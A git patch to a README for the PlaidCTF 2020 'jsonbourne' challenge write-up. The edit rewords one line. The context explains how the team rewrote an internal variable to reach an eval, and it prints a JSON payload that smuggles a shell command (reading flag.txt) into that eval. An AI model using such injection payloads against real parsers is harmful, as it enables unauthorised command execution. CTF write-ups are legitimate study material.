From 119cefa0dc9a238cc5c13464d2144566a9328ef4 Mon Sep 17 00:00:00 2001 From: Moreno Giussani <35631729+Focshole@users.noreply.github.com> Date: Thu, 3 Dec 2020 16:11:44 +0100 Subject: [PATCH] Update README.md --- plaidctf2020/jsonbourne/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plaidctf2020/jsonbourne/README.md b/plaidctf2020/jsonbourne/README.md index e6f62a7..02ec216 100644 --- a/plaidctf2020/jsonbourne/README.md +++ b/plaidctf2020/jsonbourne/README.md @@ -44,7 +44,7 @@ after fuzzying around, we noticed that it allows arithmetic assignment, by provi Then we used this vulnerability to rewrite `_var_name_i` in such a way that some new variables used in evals would be somehow "double referenced". -We ended up in : +We ended up with this monstruosity : ``` ["task _var_name_i=10","var_11","task _var_name_i=10",{"task _var_name_i=13":"=SHELL","var_10":"b"},"concat",{"ta":["ta","aT","task _var_name_i=10",{"task _var_name_i=13":"};cat flag.txt;{","var_12":"b"},"l00p"]}]